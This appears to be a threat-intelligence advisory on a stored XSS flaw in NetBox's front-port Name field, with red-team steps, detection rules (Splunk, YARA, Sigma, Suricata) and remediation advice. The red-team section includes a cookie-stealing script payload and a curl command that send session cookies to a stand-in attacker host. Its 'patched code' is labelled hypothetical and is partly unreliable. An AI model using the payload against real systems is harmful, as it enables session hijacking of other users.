CVE-2024-40734

Executive Summary

CVE-2024-40734 is a stored Cross-Site Scripting (XSS) vulnerability discovered in NetBox v4.0.3, specifically within the /dcim/front-ports/add/ endpoint. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter. When an administrator or other user views the affected front port, the malicious payload executes in their browser session, potentially leading to session hijacking, data exfiltration, or further lateral movement within the NetBox instance.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 score is 4.8 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. The attack requires low privileges and user interaction, but the impact is limited to confidentiality and integrity of the user’s session.

Supply Chain & Package Security

NetBox is a Python/Django-based open-source application distributed via PyPI and GitHub. The vulnerability exists in the core application code, not in a third-party package. However, organizations using NetBox should verify their deployment’s integrity and ensure no malicious packages have been introduced via the Python supply chain. Regularly audit requirements.txt and use pip with hash checking or a private repository.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the stored XSS nature allows persistence across sessions. An attacker with low privileges can target administrators, potentially escalating to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the Name field of the front port creation form at /dcim/front-ports/add/. NetBox uses Django templates to render user-supplied data. The Name parameter is not properly sanitized or escaped before being stored in the database and later rendered in the web interface.

Attack Flow:

1. Attacker authenticates to NetBox with a user account that has permission to create front ports.
2. Attacker navigates to /dcim/front-ports/add/ and submits a POST request with a crafted Name parameter containing a JavaScript payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When an administrator or any user views the front port list or detail page, the payload executes in their browser.
5. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the interface.

Root Cause: Lack of output encoding in the template rendering the Name field. Django’s auto-escaping may be disabled or overridden in the specific template.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# views/dcim/front_port.py (simplified)
class FrontPortCreateView(generic.CreateView):
    model = FrontPort
    fields = ['name', 'device', 'type', ...]
    # No sanitization on name field

Template (vulnerable):

<!-- templates/dcim/frontport.html -->
<td>{{ frontport.name }}</td>  <!-- No |escape filter, auto-escape may be off -->

Patched Code (hypothetical fix):

# views/dcim/front_port.py
from django.utils.html import escape

class FrontPortCreateView(generic.CreateView):
    model = FrontPort
    fields = ['name', 'device', 'type', ...]
    
    def form_valid(self, form):
        form.instance.name = escape(form.instance.name)  # Sanitize input
        return super().form_valid(form)

Template (patched):

<!-- templates/dcim/frontport.html -->
<td>{{ frontport.name|escape }}</td>  <!-- Explicit escaping -->

Exploitation & Lab Setup

Red Team

Prerequisites:

• NetBox v4.0.3 instance (e.g., Docker: docker run -p 8000:8000 netboxcommunity/netbox:v4.0.3)
• Valid user credentials with permission to create front ports.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step:

1. Log in to NetBox as a low-privilege user.
2. Navigate to /dcim/front-ports/add/.
3. Intercept the POST request with Burp Suite or cURL.
4. Inject the payload into the name parameter:

curl -X POST https://target.netbox/dcim/front-ports/add/ \
  -c cookies.txt -b cookies.txt \
  -d "name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&device=1&type=8p8c&csrfmiddlewaretoken=TOKEN"

5. Wait for an administrator to view the front port list.
6. Receive the stolen cookie on your attacker server.

Blue Team

Detection Steps:

1. Monitor web application logs for unusual name parameters containing <script>, <img>, or onerror patterns.
2. Use WAF rules to block XSS payloads in the name field.
3. Review database entries for front ports with suspicious names.
4. Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri="/dcim/front-ports/add/" AND method=POST
| rex field=form_data "name=(?<payload>.*)"
| where match(payload, "(<script|<img|<svg|onerror|onload|javascript:)")
| table _time, src_ip, user, payload

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /dcim/front-ports/add/ with name parameter containing HTML/JavaScript.
  • Outbound connections to attacker-controlled domains from NetBox server (if payload exfiltrates data).
• Host IOCs:
  • Database entries in dcim_frontport table with name column containing <script> tags.
  • Unusual entries in Django session or CSRF token logs.
• File IOCs:
  • Modified templates (e.g., frontport.html) if attacker gained write access.

Detection Engineering

YARA Rule

rule CVE_2024_40734_XSS_NetBox {
    meta:
        description = "Detects XSS payloads in NetBox front port name field"
        author = "Valters IT"
        date = "2025-04-14"
        cve = "CVE-2024-40734"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror\s*=/i
        $xss3 = /<svg[^>]*onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: NetBox Front Port XSS Payload in Name Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in NetBox front port creation
author: Valters IT
date: 2025-04-14
logsource:
    category: web
    product: netbox
detection:
    selection:
        uri: "/dcim/front-ports/add/"
        method: "POST"
        form_data|contains|all:
            - "name="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of HTML in name field (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-40734 NetBox Front Port XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/dcim/front-ports/add/"; http_uri;
    content:"name="; http_client_body;
    pcre:"/(<script|<img|<svg|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-40734;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade NetBox to the latest version (v4.0.4 or higher) if a patch is available.
2. Apply input sanitization on the name field using Django’s escape filter or a library like bleach.
3. Implement Content Security Policy (CSP) headers to restrict script execution:

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;

4. Enable Web Application Firewall (WAF) rules to block XSS patterns.

Long-Term Fixes:

• Conduct a code review of all user-input fields in NetBox.
• Use Django’s built-in |escape filter in all templates.
• Implement automated security scanning (SAST/DAST) in CI/CD pipeline.
• Restrict user permissions: only allow trusted users to create front ports.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.